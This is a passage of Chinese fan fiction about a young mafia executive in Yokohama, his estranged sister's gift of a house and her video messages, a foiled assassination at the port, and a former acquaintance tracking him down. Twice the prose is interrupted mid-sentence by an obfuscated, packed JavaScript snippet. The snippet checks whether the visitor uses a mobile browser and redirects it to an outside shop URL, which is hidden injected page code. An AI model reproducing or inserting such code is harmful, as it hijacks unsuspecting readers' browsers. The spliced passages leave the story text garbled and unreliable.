地牢的温度在酷暑依旧高不了多少。他想建议把这片区域翻新重建,毕竟有多年历史了,血与罪恶层层累加,是怎么清洗也清洗不掉的。可这比较难实现。 他亲身走进地牢,用暴露在空气里的皮肤感受地牢不太清新的空气和异常的温度,又仰头看着屋顶有必要常年开着的灯,他说,“你不用一直跟着我。” 难道他会突然消失在地牢里吗?他是不抗拒这里,但也没打算今晚住这儿。他再累都会爬回酒店或者本部的休息室。 跟着他的人稍显意外地说,以为他还有其他命令。 没有了。“你是,‘朝日谷’吧。”他问。 “是的……朝日谷耀。” 青年站在牢房外,眼里全是对他走下楼梯,拿着伞在无人的地牢乱转悠的震惊。 他已经习惯了这样的视线。 想起下午偶遇钢琴家之前发生的这些事,他走神的时间长了点。 等他从异常飘忽的神思中回过神来,工作室的主人正在给他介绍自己的工具。 高精度扫描仪和手工雕刻台相距不远,工作室最中心的地方摆着几台功能在他看来稍显重复的印刷台和印刷机——钢琴家是这么在名字上区分的。 电子眼,光谱仪,还有显微镜阵列……都是他不熟悉操作的设备。和染崎的工作室极为不同的一点是,这里每一样东西都摆放得井井有条,而染崎的东西只有染崎本人才能精准找到。 他撑着的长桌更是一尘不染,干净得像是刚拆掉塑封膜。他进门时,只有无影灯和几张废钞——还有他的通缉令——摆在上面。 之后多了一杯咖啡。咖啡……黑咖啡?他不记得钢琴家有加牛奶或方糖进去。傍晚喝咖啡,晚上不打算休息吗,他有点困得不知所措。 钢琴家的声音在他耳边响起,他居然听不清同事说的是模拟设备,还是流通设备……模拟什么的设备,又是什么流通的设备,还是应该合在一块,叫“模拟流通设备”? “后面是恒温恒湿的保险库,成品基本都储存在保险库里……你怎么了?” 正因为感觉佐久间在无声呐喊,他才突发奇想,把偶遇的同事带来这里。 他本就计划在这里呆一天一夜。 但佐久间的神色变得十分奇怪。像喝过酒之后的微醺状态,看着有点迷糊;又像犯困,眼睛微微眯起,盯着桌上的无影灯灯座。 撑着桌子,身体摇摇欲坠的人抬起头,“抱歉,我有点……头晕?” 说话的人自己都觉得十分古怪,自己怎么会无缘无故头晕眼花。 哎呀,他忘记了。 钢琴家放下纸钞,快步走向墙壁,按下定向送风系统的启动开关。 “挥发性有机溶剂的气味会让人短时间内感到眩晕。这次该我向你道歉了。” 罪魁祸首可能不仅是这个。工作室的空气里有许多带轻微毒性的气体,不习惯其味道的人闻久了会头痛眩晕。他早习惯了这样的工作环境,这点时间的摄入,对他不算什么。 被眩晕感折磨片刻,佐久间弥津没劲再关心自己的无聊了。 “要找人来带你离开吗?你不像能站着离开的样子。”那个总是在你身边的人呢。 在新鲜空气中静坐两分钟,眩晕感已经散去不少,但佐久间弥津觉得自己恐怕没办法一个人离开了。 在街头遇到只能扶着墙,脚步蹒跚的人,不是很可怕吗?这样的他会在不明真相的路人眼里被传成“瘾君子”之类的存在吧。 这时候的他也最好逮捕了。就算是世界上最危险的异能力者,一旦“中毒”都会变的脆弱无比吧。 他手里攥着自己的通缉令,拨打过优的电话之后,不得不减少活动量以维系神智。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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佐久间弥津在心中庆幸自己有时不时就喂力量给伞的习惯,否则他抓不住和钢琴家交换秘密的机会。 除了他们彼此随身带着的电子设备,他至少用掉了保险库充足的后备电源。“你得记得处理它。” 所以,这其实是…… “异能武器。对它使用异能的强度达到一定程度,就会变形。”更多的秘密,得他慢慢摸索。制作它的异能技师来自哥伦比亚,多年前已经逝世了。 观察着佐久间大方递给他的手杖,钢琴家神情谨慎地问,“还有谁知道这个秘密。” “很多人。首领,水落和优,追踪伞的国际刑警,和当年卖给我伞的卖家。他已经老了,居住在爱丁堡,收养了一对姐弟。” 不是所有异能力者都能使用这件异能武器。 以他的经验来看,身边人里只有中也先生和他自己的能力才有“强度”区分,更别说有些能力连对外物使用都做不到。 难道让优去控制一把伞的思想吗?还是让染崎和她的蛇盯着伞看一晚上。 “只有一种变化?” 钢琴家还想继续问,但在头晕目眩之下又短时间内使用异能力的人快要撑不住了。 看着眼前变得异常脆弱的人,他顿时觉得好笑。 能轻轻松松干掉佐久间的居然只有自己人。 74.名为藤泽弥津的干部 佐久间弥津并没有从钢琴家口中得到作为交换的秘密。 “我暂时想不到告诉你什么合适。以后有想知道的事,再来找我吧。” 回酒店的路上,佐久间弥津降下车窗吹了许久凉风,身体才缓过劲来。他在心里怀疑,钢琴家根本就是早中毒了,但身体习惯那种环境所以不像他一样有不良症状…… 那天之后,他在相当长一段时间内,都不愿再想起那段会被钢琴家当趣事记住的经历,只顾埋头处理工作。 然而今日,他还没走出办公室,迎面被自己唯一的上司拦住了去路。 “要去哪,外面?” 他慢慢退回屋内。 就算他真的有外出的行动,中也先生也已经把门关上,反锁住,似乎不想让他离开。 面对别人的质询,他不知道怎么回答时,都会搬出说了许多次的“工作是工作,生活是生活”这个惯用话术。 现在首领又一次问他有没有从酒店搬出来,他也是这么回答的。 “停。” 中原中也叫停了佐久间长篇大论叙述住酒店的好处的行为,一副我就知道的表情。 他摆出了要好好谈某件事的态度,“命令”自己在一些方面很执拗的干部坐到平日纯当摆设,和房间氛围格格不入的沙发上,认真听他接下来的话。 但接收到佐久间专心但不解的眼神,他还是迈出了退缩的一步。 呃…… 中原中也皱起眉头,在佐久间的注视下打了通电话。 佐久间弥津在困惑中等待了两分钟。而他的首领一边面露难色,一边在被他装成电竞房的办公室焦虑地踱步。 这两分钟也做不了什么,直到带着文件夹的金发青年推门进来才打破了古怪的氛围。 “请问,我的工作内容什么时候变成了首领和下级之间‘沟通的桥梁’。” 但看在首领把佐久间正对面的沙发让给他的“面子”上,这件事可以由他来说明。 从他进门起,干部先生脸上就写满了迷茫。 “放松点,不是会要你命的事。” “我很放松。”他在自己的办公室当然很放松。 ……如果所有工作对象都这样,他可以趁早从组织辞职了,就像佐久间几年前那样。 “你是什么时候加入组织的,很早吧。” “十五岁的时候。”差不多九年前,他今年二十四岁。 “你是横滨人?” “嗯。” 虽然属于他的家已经失去踪影了。 公关官把手里的文件夹递出去。 “从两个月前起,你的通缉令就被张贴在警务亭里了。有什么想说的。” 佐久间弥津接过来翻开,属于自己的纸质通缉令被夹在其中。 纸张很薄,比在钢琴家工作室看到的那张还薄,像粗制滥造的广告宣传单,而不是象征危险人物出没的通缉令。 “没什么。想逮捕我,他们早行动了。” 异能特务科只是在警告,不要随随便便放不听管教的野兽出笼。 ……这是什么。 通缉令之下是个半透明文件袋,装着几张照片、两串钥匙以及一个U盘。 一串车钥匙,另一串应该是某处房子的钥匙。他不太明白,抬眼瞧着对面的人。 青年对他点头,示意这些都是他的东西。 他对着车钥匙思索良久,但很抱歉,他认不出这是什么汽车品牌的钥匙。 至于相片,其实是监控录像的截图。主角是一位身形高挑的少女,个子不低,和旁边的公交站台做比较,看起来有一米七甚至更高。 黑色短发,戴着口罩,穿着较为厚实的衣服,手里拿着一张纸。 他一一翻过这几张照片。少女站在街头,比对着手中的纸,在寻找什么。最后一张照片是少女站在总部门口,仰头观察这栋象征罪恶的大楼。 “知道我们想说的是什么了吗。” “……嗯。” 他明白了。 “三月底,你回来之前,这位来自北海道札幌的少女说要送东西给你。” 真名为藤泽绮宁的少女原话是,她要送东西给“藤泽弥津”。 “她是你在血缘关系上的妹妹吧。” “……是。” “你想和她见面吗?” “不想。” 不能。 他在血缘关系上的家人都是普通人,面对危险没有自保能力。因为见一次面而带来糟糕后果,他会后悔一辈子。 没错,他们也是这么想的。 所以,他们的首领派可信的人把这位本就只打算在横滨呆半天的少女送回她的来处,并且把她留下的一切痕迹都清扫干净。 “放心吧,她来去都很安全。你的妹妹是个很谨慎的人,和你不相上下。但和你的区别在于,她比你开朗得多。” 假发,美瞳,化妆,增高鞋,从北海道出发,去国外转了一圈,回国后的第一站是东京,最后才来到横滨。 卸掉妆容又脱掉假发,摘掉美瞳的少女和他们熟知的青年极其相像,可正是这份相像会带来更严重的后果。 车停在地下车库。“是中也送你的。” 原本以为把舞台让给在场最擅长交流的人就万事大吉,站在一边的首领猝不及防地被扯进对话里。 “啊?呃……就是啊,你也该对自己好点了吧。” 把总部休息室和酒店当家的行为对自己真的太苛刻了吧。 “这串钥匙是什么。” 哪来的房子钥匙。 既然已经被扯进对话里,佐久间弥津如今唯一的上级不客气地说,“是你妹妹送来的东西,不然你以为我为什么总是问你什么时候想搬家?你每年都会拜托你在欧洲部门的下属,给你的家人汇款吧。” “是。我有拜托染崎帮忙。” 用绝对安全的渠道,作为帮助家人拥有更优越生活的费用。算是已经无法回头的他能为家人做的最后的事。这件事在许多年前就提前拜托给染崎了。 突发的任务基本完成,还有其他工作的公关官认为自己是时候该离开了。 “记得看U盘里的东西。是和房屋钥匙一同送来。” * 无论佐久间弥津对镜优下达怎样的命令,镜优都会去做。 哪怕是半夜十二点喊他出门。 “优,”弥津大人递给他一件车钥匙,“送我去个地方。” 当然可以,命令他开车去地狱他也会照做无误。 目的地是一处别墅区。 自带车库和花园,但长时间没人打理的“花园”现在变成了另一个停车区域。他以为这是弥津大人在首领的催促下急速购买的房子。外观看着还不赖。 弥津大人一直沉默着,直到他们拿钥匙开门。钥匙崭新,房门没有安指纹锁,门锁被拧动发出顺滑的咔哒声,房门向内打开,灰尘的气息扑面而来。 “你还记得,我很久以前拜托染崎给我的家人汇款吗。” 当然,这件事染崎现在也在做。 摸黑进门的人对他讲述了今天得知的事。 ……弥津大人的妹妹来过横滨?他不知道这回事,保密工作真是相当厉害。 在一室的黑暗里,他听到弥津大人轻轻叹了口气。 “他们好像一点都没用在自己身上。” 莫非这里是…… 弥津先生几乎不对他提前自己的家人,据说早年间已经断绝关系了。 他一直以为,这是弥津大人不想对外提起的伤心事,但这句话的意思……弥津大人同家人的关系也不算很差? 用手机照路,两个人各选一边,但镜优走了两步就看到了全屋电闸。房间里终于有了光。客厅吊灯一亮,视野一瞬间由黑变白,佐久间弥津忍不住低下头,眯起眼,以躲避像是黝黑的灵魂承受不住的光。 房间里有家具,甚至于说,家具是全的。 地面铺着防尘纸,暖棕色的沙发盖着防尘罩。镜优揭开来看,看似柔软的沙发连接处是胡桃木框,防尘纸下是大理石地板。 他转身看到餐厅里摆着一张橡木餐桌,周围是两列共四把姜黄色绒面餐椅。 所有肉眼可见的家具都盖着防尘罩,颜色透过薄薄一层塑料膜,入眼基本都是暖色调。 只有橱柜和地板是颜色相近的灰色,无缝拼接的大理石地板偏银河灰色,其上遍布不规则的白色脉络,像从生命树延伸而出的细嫩枝条。 通向二楼的楼梯也完完整整地铺着防尘纸,踩上去沙沙响,尽可能保证屋主进门后把防尘纸、防尘罩一扔,就能收获一间干净的屋子。 二人在屋子里搜寻一遍,在位于二楼书房,装着磨砂玻璃的书柜里,找到了一沓有用的纸。镜优戴上手套翻了翻,发现关于房子的证件和相关文件基本都在这里了。看有签名的合同文件的日期,“是四年前买的房子。” 四年前的夏天。 弥津大人没有走上前来,环顾屋内,最后望向对面房间。那间屋子在正中央摆着一件焦糖色皮质扶手椅,盖着多层防尘罩,没有靠近窗户,免于被暴晒的风险。 他把空间留给弥津大人思考,自己返回车内。等他提着电脑包重新进到房子里,似乎把二楼看过一遍的上司已经回到一楼,扯掉了沙发的防尘罩,邀请他坐在自己旁边。 他喜欢这样的距离。 但他要去先拉好全屋的窗帘。回到客厅,弥津大人插好了U盘,正在检查里面的东西。只有两段视频,一段很长,近半小时,另一段却只有一分多钟。 他立刻明白这是什么。 “弥津大人,这些……我似乎不应该看。” “没事。多一个人帮我记住也好。” 近半小时的视频,他身边的人一直没有出声,但他却仍能从弥津大人身上感受到让他的皮肤都为之刺痛的激荡情绪。 欣慰?怀念?歉疚?恐怕几种皆有。但唯独没有后悔。 视频中的女孩子生着和弥津大人一模一样的银发红瞳,面部表情比弥津大人丰富多了。 藤泽小姐向看视频的人展示了自己从国中到高中毕业这段时 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摄像头开始移动,影像很快在屋里转了个圈。 “房间里有很多东西都是赞助商提供的,我是很——有名的高中生运动员哦。毕业前还是学校田径部的部长。” 镜头回到少女身上,少女突然表情严肃地说,“既然看到视频,说明你知道那栋房子的存在了。不要再打钱回来了,哥哥。” 爸爸妈妈工作很稳定,但那些钱不是大学教授和医生的家庭能赚到的数目。再多下去,会出事的! 性格开朗的少女在二十多分钟的视频里絮絮叨叨讲述了许多这几年里和家人的故事,直到最后,才聊起佐久间弥津的“工作”。 “一个人的话更要照护自己呢,我和朋友去外地比赛都会有随队医生和教练组跟着的。那种工作很危险吧,就像电影里一样。爸爸妈妈担心影响你作为黑手党成员的工作,一直不敢找你。” “其实呢,虽然哥哥是异能力者这种事……是很厉害。但不是异能力者的话,或者异能力没有被发现的话,是不是能过平凡但幸福的生活呢?所以说,异能力,说不定是神明给予人类的诅咒吧。” 听到少女的话,原名藤泽弥津的青年破天荒地笑了一声。 也许吧。 镜优不知道怎么安慰作出如此回答的青年,只能陪着他继续看下去。 “以后的话,可能也没办法见面了。但是没关系,成年之后,我会去参加更高级别的比赛,到时候,哥哥可以在电视上看我,爸爸妈妈也会去观众席的。” 第一段视频以此结尾,第二段视频很短,看背景和少女故意改变的外貌,想来是在港口黑手党总部拍的,但镜优看不出在哪。 少女小心翼翼地打量周围,几乎是趴在桌上,像对着摄像头说悄悄话。 “哥哥,有人说你在这里职位还蛮高的诶……那个男人说是你的下级。还有,另一个人说是你朋友,但说话声有点大。” 比我想象中热闹,看来哥哥在这里也没有太寂寞嘛。 听到这,佐久间弥津偏过头,对不太能认出妹妹话中人指谁的镜优解释,“这是枢川的办公室。”他去过好几回,眼熟得很。 另一个人……信天翁?还有什么人会以朋友的名义称呼他,而且声音“大”。 近两分钟的视频里,少女短暂解释了自己接下来的活动安排——把最后能想起的东西叮嘱一遍,又一次强调,“不要再汇款了!不然爸爸妈妈会被调查的。你应该更需要钱吧,那些电影里不都演……什么,活动成本和烧钱一样的……在我人生进入穷得叮当响的时期,我会自己去找你的。” 其实那些花销大的行动走的是组织的公款渠道。镜优很想对藤泽小姐这么解释。 “记得关注田径比赛!我是短跑!两百米!我会把这段视频也上传到U盘的。” 两段视频都结束了。全屏播放的界面停留在一片黑,屏幕上映出了二人的模糊面容。 佐久间弥津关掉视频,又把电脑关机。 “弥津大人……我可以问关于你以前的事吗。” “问吧。” 在发现弥津大人和家人的关系一点都不僵硬之后,这个问题就显得最为关键。 “你为什么要加入港口黑手党。” 被他询问的人把笔记本电脑递来,又把沙发防尘罩重新盖好,似乎松了一口气,语气平静地简述自己生命中最重要的节点。 “我十五岁的时候,异能力失控,杀死了差点伤害到她的人。在事情尚未完全结束前,港口黑手党……也就是森先生,他先找上了我。” 现在想来,那件事的彻底平息,没准有港口黑手党插手其中。如果当时遇到不同的人,未来……也就是现在,可能会有所不同吧。 但事已至此,何必走回不去的路。看到如今顺利成长为自信大人的绮宁,他不会后悔。 当年没有那么做,才会把自卑和怯弱留在妹妹心里。 “回去吧……房子的事,过段时间再处理。” 75.被命运戏耍的干部 阴雨连绵的日子像梦一样。昼夜的分界线一旦被模糊,就容易忽略时间的流逝,带来虚幻的享受。 枢川伶司盯着窗外细密的雨丝,若有所感地回头。刚在他脑子里出现过的上司竟然站在了办公室门口。以他对这位上司敬业程度的了解,出现在这里有八成可能是要谈工作。最近的工作内容,无非是……把之前的行动归档,上报其他犯罪集团的动向,一些不重要的日常工作而已。 但他猜错了,佐久间先生是来单独向他道谢的。略一思索,他便明白了上司具体指的是什么。 “您客气了。那位小姐的事,是首领要求我们暂时向你保密。” 为防节外生枝,在扫清干净痕迹之前,仅有的几位知情人被命令不对当时尚未回国的佐久间先生透露相关消息。 看来,直到最近他们的首领才将那件事告知最该知道原委的人。 被传闻塑造成冷漠屠夫形象的佐久间先生也有关心他的家人……不,好像反了。正因为佐久间先生在关心他的家人身边生活过,所以才不会是完全失去人性的处刑人。 他认为佐久间先生一定是个做一行爱一行的人,不然怎么解释这位干部成员身上完美融合的隐隐社畜气质与对首领的忠心。 那份社畜气质的存在是他最近真实发现的。佐久间先生前几日站在地牢门口回头的瞬间,光线不够明了的地牢走廊压不住那双玫红色眼睛里突然的颓唐之意,随后恢复往日的平淡。这位干部成员几乎和他是同龄人,也会在遇到难言的坎坷时轻轻叹息,可惜碍于形象,不满和烦心事恐怕只能私下里对亲近的人讲讲作罢。 佐久间先生的嗓子没有受伤前,一定是个爱和别人聊天的人。他还很年轻,还有很长很久的时间,是目前三位干部里年纪最小的一位。但从准干部升任干部的过程合情合理,没有人对此发出过质疑。唯一会被诟病的“空降”说法,也在佐久间先生被确定是欧洲部门前成员之后逐渐消弭。更何况,佐久间先生已经对内展示了自己会被召回的原因。 地下组织最认可实力,港口黑手党也不例外。 “最近还在忙贸易订单的事吗?”枢川伶司问道。 半年前,有个合作多年的供货商换了话事人,和组织的生意照旧。但在半个月前的一桩交易里,订单核对时出现了问题。他们按例抽检货物,每盒重量称重无误,可恰好有常年经手此事的人摸到盒子,发现冰冰凉的手感和以前不一样。拦下对方的送货船打算问清楚,才得知他们换了新的包装材质。但盒子变重了,里面装的东西不就少了吗。 在场的负责人要求把所有盒子拆封,彻底清算,果不其然,数量统计结果比订单上少了近百分之五。 就连那天的负责人也一脸诧异地问,“你们打算和我们做一次性生意吗?” 怎么会有人有这种想法! 在性命受到波及时,对方的送货人颤抖着手给上级打电话,得到的消息却是——原来在换了新材质之后,他们一直都按旧习惯封装。大批量购买仪器设备的组织不会将全部的货物当场拆开检查,而是按重量计算,收入仓库随取随用时也不会计算总量,所以他们一直没接到类似的反馈。 听起来,被搞错的买家不只他们一个。 但当真如此吗。 佐久间弥津暂时接手了在港口监督贸易订单交付的“小事”。 既不像水落望音那样常驻欧洲部门,也不像钢琴家一样日常处理本部的经济事务,任何需要本人到场的任务都有可能被佐久间弥津顺手拿下。但也不是一天到晚都呆在港口吹风。贸易订单没那么频繁。更重要的是对交易对象表示——看,他在这里。 其实他还挺喜欢这样出门散心似的工作场合。横滨港,作为横滨本地人的他自然从小就常来。小时候他只会在附近走走停停,完全注意不到这边都是什么人在港口卸货。现在他知道了,除了正经生意人,还有黑手党人。 一艘游艇,一层设备俱全,二层视野开阔。他没有恐惧海水或者晕船的不良症状,但就算那是属于组织的动产,他还是宁愿站在码头的坚硬地面上,那比在随水波晃动的游艇里寻求一片平稳更省力。如果不是工作时间不允许,他想坐在平台边沿,盯着水面数有几艘船经过。 佐久间弥津对枢川伶司点头。 嗯,但还有别的。 “我搬家了,以后不住酒店了。有事去办公室找我,或者打电话联系我。” * 工作之余,他在抽空收拾酒店房间里堆积的“礼物”,那些和钢琴家给他的香水一样,属于贺礼的东西。 那瓶香水,他从钢琴家的工作室回来当天拆开包装对着枕头喷过。随后又不放心地把自己的喷雾药剂对着喉咙摁下,在药味和绝无有毒物质的香水味的共同熏陶中,他躺在床上,闭眼睡了极其沉重的一觉。没有做梦。睡醒之后,感觉脑袋一点问题都没有,他便有种发自内心的喜悦,庆幸自己劫后余生。 香水的作用就是如此,营造让人心情愉快的氛围,哪怕是头晕时睡觉的氛围。但如果身上沾了血腥,再配香水,那实在有点浪费。闻起来香味不纯粹,血腥味也没被压倒,脱衣服的时候,两者融合的丰富气味会在房间里爆炸开。如果是个嗅觉灵敏的人,会被这样复杂又颇有冲击力的气味吓得嗅觉失灵吧。 不知是把电影演员的工作当主业还是黑手党的工作当主业的人当时在外地,但也给他邮来一份礼物,送到了本部办公室。 之后见面时,他问,有没有去过钢琴家的工作室。 “谁会去那种地方。” 公关官语气有点嫌恶地说。 “一个有丙酮、甲苯、乙酸乙酯、酸碱气溶胶、纸张粉尘的地方,谁好端端会去折磨自己,他把工作室装修成免门票的景点都没人会去的……你是不是又被他耍了。” ……他“又”被耍了吗? “是啊,你被耍了。” 佐久间弥津在心里叹了口气。 唉,他不是很想把算计别人的力气放在提防同事的恶趣味上。 但佐久间弥津是不会明白的。 想耍他的人其实是这个站在他面前,简单两句话就把他推进懊悔和叹息中,还摆出一副同情态度的知名电影明星。 要问其为何这么做,回答当然是“在这种不足挂齿的地方戏弄佐久间确实很有趣”。至于佐久间是怎么去到制作□□的工作室的,谁知道呢?总不可能是某个家伙突发奇想要对工作狂后辈展示自己惊为天人的□□制作工艺吧。 卷进怪事中的经历慢慢变多,佐久间弥津逐渐认为,本部里只有首领不会在工作外的地方戏耍他了。中也先生没有这样的恶趣味,别人就不一定了。 做出搬家的决定之后,他每天都会亲自收拾一点酒店房间里的东西。私人的事务,他会自己动手。要带走的东西再多,每天拆分一部分,不仅不累,还能仔细清点一遍自己的东西。他乐得这么干。 因为他的缘故,优才会同他一样住在酒店,也是因为他,优才会从欧洲部门回国。家人留给他的房子很空,很大,再多准备两间卧室也做得到。 在这种事上,他知道优不会拒绝他的。 被他“占据”近两年的酒店楼层终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16835849|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于得以对外开放,他认为这是好事,酒店可以恢复营收。 但在最后一天,得知他办“退房”的酒店经理人表情却很奇怪,像是舍不得他走一样,郑重地来找他握手道别…… 为什么呢?他只是不住在这,不是要再次辞职。 他在浓浓的不解中离开酒店上了车。 比他开车更熟练的优此时解释说,正因为曾经作为“准干部”成员而如今作为“干部”成员的他常年住在这间酒店,才会让很多人觉得这里更“安全”。“一些成员的家属在外地。来横滨的时候,同样选择入住这里。” 佐久间弥津心中大感震惊。 ……原来他还有这种用处?这真是刁钻的角度。 可他当年只是随便挑了间离本部距离近的酒店。 他这半个月的日常便是如此:白天呆港口;整天都没有订单交付的时候,呆地牢和审讯室;如果连这两个地方都没事做,就踩着天数倒计时,回酒店收拾那些可能连自己都不记得的小玩意。 事实没让他失望。 他就知道在港口呆半个月一定会遇到意外,这是紫苑很早以前他对说过的规律——成为靶子的人早晚会遇到想击中自己的子弹。 这句话有种无厘头的搞笑感,但好像也没错。 他踏上随运货船而来的小艇,和供货商的人沟通起来。 所有人都以为他会问货物短缺的问题,但他问的是,“你认识我吗。” 戴着防晒帽的男人愣了一下,结结巴巴又不确定地说,“认识……一点?” “真的认识我吗。” 男人像慢半拍似的,发现其他人没有动作时,谨慎地回答说,您不是港口黑手党那位…… 众人眼中神色冷淡的青年突然冲着船舱地板冷不丁笑了一声。 佐久间弥津不是用枪的高手,同样也不是习惯提着冲锋枪出门的人。但距离这么近,击穿男人偷偷掏出遥控器的手实在太简单了。 “真认识我的话……你们还用带蓄电池的□□吗?” 仅仅是借着送货的名义想要暗杀港口黑手党的成员,倒也不至于当场送他去地狱,港口黑手党的地牢才是他永远的归宿。 但在生死关头对他的上级口出狂言正是找死的典范,他绝不允许任何人恶意评判他的首领。 他久违地用起了“枪”,还是公关官很久以前丢给他的那把。开了几枪,他不记得了,在下属对他回复说,检查过其他货船同样发现□□前,他已经清空了手枪弹匣。 “佐久间大人,任务已经……” “佐久间……大人?” 绝对不该出现在他耳边的声音此刻突然出现,像一道天降落雷,击中了他僵硬的灵魂。 他纳闷地转身,望着站在不远处被其他人枪口对准的身影,觉得自己手里的枪似乎有千斤重。 可能人生的故事总是这样吧。有离别就会有相逢,都一样让人猝不及防,真是该死的出乎意料。 他宁肯怀疑自己落入幻觉系异能力者的圈套,也不觉得自己看到的是真实的人。那道人影接下来说了什么,他没听,只是让其他人放松警惕,又招手让那人走近点。 他皱着眉头,像曾经一样捏住那人的脸,又在下属们震撼的眼神里不敢置信地摸了摸那人的头发和流苏耳坠。 “弥津先生,你……” 来人想说点什么,却在电流击中心脏的痛楚中陷入意识昏沉的黑暗。 把失去意识的人推给身边的下属,他命令道,“……关进地牢。” 没有我的命令,他不能见任何人。 76.戏耍了命运的来者 刚从高中毕业的人不可能知道去哪里能找到失去联系的犯罪组织成员。 他一直期待能够在哪天看到,想起自己书店老板身份的人,会突然出现在被打扫干净的店里,或者一切都保持原样的家里,对他诉说离开后的故事。可惜直到第二年春,他从风铃高中毕业,彻底结束了高中时代的生活,那道身影也始终没有再度出现,只是会出现在他梦里。 梦都是光怪陆离的。就算他梦到弥津先生在风铃高中的校园里和梅宫哥种番茄都是正常的,更别说会梦到弥津先生以血腥手段镇压犯罪集团——但他转念间一想,弥津先生自己好像也是犯罪集团的一员。 至于其他的梦,还是暂时不要回忆了。 以三年级生的身份离校前,他把自己毕业后的打算和樱他们聊了聊。他们各自都有要做的事。有人要回遥远的家,继续与自己的命运抗争;也有人带着从风铃学到的东西前往下一站;还有人会继续生活在这里,但也有人不会再回来了。 “我打算去别的城市找人。” 如果弥津先生不能留在他身边的话,就让他留在弥津先生身边吧,反正,结果都一样。 虽然计划如此,实际做起来还是很困难。他既不知道弥津先生所在的黑手党组织叫什么,也不知道其据点在哪座城市,唯一能称得上线索的,可能只有弥津先生作为能力者的身份,还有其所在的黑手党组织庞大到形同跨国公司。 “啊,关于这个……” 樱突然对他说起棪堂哉真斗和焚石矢二人。 和他们有什么关系。 “那两个家伙,去年拜托我给老板转述一番话。他们说,他们要去其他地方,找和老板一样的人。” “‘一样的人’是指,‘能力者’?” “嗯……应该是吧。” 当时弥津先生是什么反应? “有点惊讶,也有点不敢相信……之类的,但没打算阻止那两个家伙。”总之,没有奇怪的反应。 他的心情忽然愉快了起来,持续了很久。 弥津先生没有阻止那两个人去寻找自己的“同类”,不就意味着,他去寻找弥津先生也一定算不上错误,不是吗。 他明白自己要寻找的是个怎么样的人。 是个对他自称杀人犯的黑手党成员,也是个辞职后仍然挂念前“公司”的人。有点念旧,还挺有责任心,做事考虑得很周全,从不随便牺牲别人,更重要的是,不是一心向恶的人。 过去是这样的。 如果弥津先生的性格,过几年彻底变得和过去判若两人该怎么办。如果在他找到弥津先生之前,弥津先生遭遇意外了又要怎么办……如果被他找到的弥津先生,完全不想和他再扯上关系,他要怎么结束这段关系呢。 问题就是如此之多。 既然问题这么多,那就先找到人再考虑吧。 可总有意外猝不及防袭击他。在毕业后的一年里,他还出于不想对弥津先生说明的缘由而在国外呆了不少时日,找到弥津先生的日子因此一推再推。 他仍然同樱以及梅宫哥他们保持着联系。他也会问起,别人有没有弥津先生的消息,可在不同地方生活的人们不约而同地给出同一个回答,他只好苦笑。 但寻找也不算毫无收获,毕竟“能力者”这种事,多打听一下总是有的。 弥津先生说过自己来自北方的城市——这是相对的位置——他便把视线投向城镇以北的地方。他还记得弥津先生过去常去港口散步,这也许是在以前的生活中养成的习惯。 位于北方的海港城市都可能会被他当作目的地。与东京相邻的横滨就是他预计要去的城市之一。 横滨是沿海城市,有知名国际贸易港,更重要的是,曾经“绑架”过他和樱的那两个家伙,开着的车是外地牌照,东京车牌。两个地方很近。 他联系过据说在找能力者的棪堂哉真斗。过去不少日子,那个家伙说起话来还是老样子。不是为了进一步确定所在地,他哪会和这个让人头疼的家伙有联系呢。 “诶,没错。你要去的那些城市确实有关于能力者的说法。” 也不知道对方在做什么,那边的声音听起来乱糟糟的。 他说自己在找人。 “找老板?你也只可能找他了吧。他是有可能在这些地方。特别是横滨,据说那个城市有很多这样的怪人。” 你不是找过吗,他问。 对面的人语气满不在乎地回答他,“我可没找具体的人。” 交流起来依旧困难,但也算印证了他的猜想。 目的地是有了,可在偌大的城市找人从来不是一件简单的事。他也没抱着一次就找到人的幻想。每个被他当成目的地的城市,他都去过不只一两次。 横滨的确是其中最特别的一座城市。其他城市没有在街角交番告示栏贴满通缉令的习惯——至少不是一墙那么多。他来过横滨三次,每次贴在最前面的通缉令都不是一个人。这个城市连通缉令的更新换代都如此之快吗。 他站在港口,感受两地的不同。 横滨的风里有种让人言不由衷的东西。 假如弥津先生真的在这座城市生活……毕竟是毗邻东京都的大城市嘛,一定会比在商店街当书店老板能找到的休闲去处更多。 这里很危险吧,虽然他觉得弥津先生并不在乎这些危险。 ——他不知道自己一心寻找的人可能是“危险”的代名词。 他对交番里的值班警察解释说,自己是外地人,不知道这里为什么张贴了这么多通缉令。 他的年龄堪堪搭二十岁的边,警察能轻易分辨出他是不是真外地人,连身份证件都不用检查。值班警察的职责之一是对外来游客解释横滨某些地方的危险程度,但这恰好帮助他完成了一整副拼图。 他找到了。 总部位于横滨,一个堪比跨国公司的“黑手党”组织。 如果本土还有其他组织同时符合“位于北方”、“跨国”、“危险”、“黑手党”、“港口城市”、“成员里有能力者”这些形容,那也太巧了。 从毕业那年的春季,到第二年的夏末——也就是现在,这次是他第三次来横滨。他采取了最笨拙的排除法,最终确认除了横滨的“港口黑手党”,弥津先生的“前公司”再无任何别的可能。 他决定接下来几个月都住在横滨。至少要比前两次时间更久,才有更多的找到弥津先生的机会。 但命运就是这么奇怪。 突然从某个瞬间开始,凝固的命运被看不见的风吹动,一切都恰到好处的来到了他身边,仿佛他注定在和弥津先生分别的两年后才能再次用双眼看到那副面容。 他是那处街角交番的“常客”。每次来横滨,都会去贴满通缉令的告示栏看看。他没别的意思,只是对那些人的人生感到好奇。 这一次,告示栏里的通缉令又变了一批。 原来他们的重逢是这个样子的。 